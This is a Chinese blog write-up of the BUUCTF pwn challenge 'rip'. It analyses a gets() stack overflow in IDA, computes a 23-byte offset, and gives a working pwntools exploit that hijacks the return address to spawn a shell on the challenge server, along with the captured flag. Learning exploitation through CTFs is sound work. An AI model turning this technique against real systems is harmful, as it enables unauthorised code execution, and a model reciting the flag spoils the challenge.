首页 > 其他分享 >BUUCTF(PWN)- rip

BUUCTF(PWN)- rip

时间:2024-09-28 17:16:05浏览次数:1  
标签:BUUCTF 函数 rip pwn PWN gets payload

BUUCTF(PWN)- rip

打开题目得到靶机信息: node5.buuoj.cn:29045 和附件 pwn1

查看文件信息为 64-bit ,用 ida 打开附件

首先 shift+f12 查找字符串,能看见 system/bin/sh 字样,点击 please input 或者 ok,bye!!! 跳转

直接进入 main 函数查看

gets 并没有限制输入,gets 函数的缓冲区由用户提供,由于用户无法指定一次能读入多少字节,gets 函数如果没有读到 \n 结束 ,会一直读入数据,没有上限,存在栈溢出漏洞

双击 s 来到 Stack of main 视图,可以计算出只需存入 15 个字节即可劫持函数返回地址

但是后面还有 db 8 dup(?)

db: 定义字节类型变量的伪指令

dup(): 重复定义圆括号中指定的初值,次数由前面的数值决定

?: 只分配存储空间,不指定初值

所以:偏移量=15+8=23

查找是否有系统调用函数,查看 fun() 函数

fun() 函数就是系统调用函数,起始地址为 0x401186

编写 exp:

from pwn import *

p = remote('node5.buuoj.cn', 29045)
payload = b'a' * 23 + p64(0x401186 + 1)
p.sendline(payload)

p.interactive()

执行

得到flag{0ba8fba1-e9a0-479a-b193-32fb50f0efe3}

exp编写步骤:

from pwn import *       #引入pwn库

p = remote(ip, port)     # 输入对应的ip地址和端口号来连接其他主机的服务

......          # 输入payload来进行操作以拿到程序的shell payload一般等于 偏移量 + 地址

p.interactive()       # 反弹shell

标签:BUUCTF,函数,rip,pwn,PWN,gets,payload
From: https://www.cnblogs.com/butt3rf1y/p/18438135

相关文章

  • javascript 数组对象解构
    传统的写法不好记忆,书写麻烦,此时可以使用结构赋值的方法让代码更加简洁。数组结构是将数组中的单元值快速批量赋值给一系列变量的简介语法。变量的顺序对应数组单元值位置一次进行赋值操作。如下:应用一:交换两个变量Js前面有那种情况需要加分号。(不加分号解析器认为和上......
  • Javascript编译原理
    JavaScript的编译原理是一个复杂但有序的过程,主要涉及分词(词法分析)、解析(语法分析)、代码生成以及执行等阶段。以下是对JavaScript编译原理的详细解析:chrome编译流程 1.分词(词法分析)分词(Tokenizing)或词法分析(Lexing)是编译过程的第一步。在这个阶段,编译器将输入的源代码......
  • Javascript 一题搞懂 var 变量提升 & 函数声明提升!
    前置知识:在JavaScript中,“变量提升”(Hoisting)是指在代码执行之前,变量和函数声明会被提升到其所在作用域的顶部。对于使用var关键字声明的变量,会发生变量提升现象。一、声明提升1.变量声明提升:无论var变量在代码中的何处声明,它都会被提升到其所在的函数作用域......
  • 事件【JavaScript】
    1.事件事件是用户或浏览器动作的表示,JavaScript中的一切交互都是通过事件来处理的。2. 事件冒泡(EventBubbling)事件冒泡是指事件从最具体的元素(即触发事件的元素)开始触发,然后逐级向上传播到较为不具体的元素(即该元素的父元素、祖先元素),直到到达最顶层的元素(通常是documen......
  • JavaScript 网页设计案例详解( 最新技术趋势)
    前言随着JavaScript生态系统的不断发展和浏览器支持的不断完善,2024年的前端开发技术已经变得更加现代化和高效。JavaScript在网页设计中的应用不再局限于基础的交互,它与最新的Web标准、API结合,为开发者带来了丰富的功能和出色的性能优化。本文将通过一个网页设计案例,结......
  • 926pwn学习
    9/26pwn学习pwn基础学习C语言-3while循环if是一次性的,while是循环不断的下面是一个循环体while(x>0){x/=10;n++;}条件成立是循环继续的条件do-while循环再进入循环的时候不做检查,而是在执行完一轮循环体的代码后,再来检查循环的条件是否满足,如果满足则继续......
  • JavaScript 闭包
    什么是闭包?简单理解:闭包=内层函数+外层函数的变量。正如前面所说的作用域链也会涉及到闭包,如下:leta=6;//全局作用域functionf(){a=7;//父级作用域functiond(){a=8;//自己的作用域console.log(a);}d();}f(); 闭包的官方......
  • JavaScript 网页设计经典案例代码全览
    一、响应式导航栏HTML结构:<nav><!--这是一个导航栏的容器--><divclass="logo">YourLogo</div><!--用于显示logo的div元素--><divclass="menu-icon">&#9776;</div><!--显示菜单图标(通常用于触发菜单的显示/隐藏)-->......
  • RIP与动态BFD联动
    概述通常情况下,RIP通过定时接收和发送更新报文来保持邻居关系,在老化定时器时间内没有收到邻居发送的更新报文则宣告邻居状态变为Down。老化定时器的缺省值为180s,如果出现链路故障,RIP要经过180s才会检测到。如果网络中部署了高速数据业务,在此期间将导致数据大量丢失。BFD能够提......
  • RIP与BFD联动
    应用环境RIP和BFD相关联后,一旦链路发生故障,BFD在毫秒级时间内感知该故障并通知RIP协议,然后路由器在路由表中删除掉故障链路的路由并快速启用备份路径,提高了路由协议的收敛速度,如图4.8所示。(1)AR1、AR2、AR3及AR4建立RIP邻接。经过路由计算,AR1到达AR4的路由下一跳为AR2。在AR......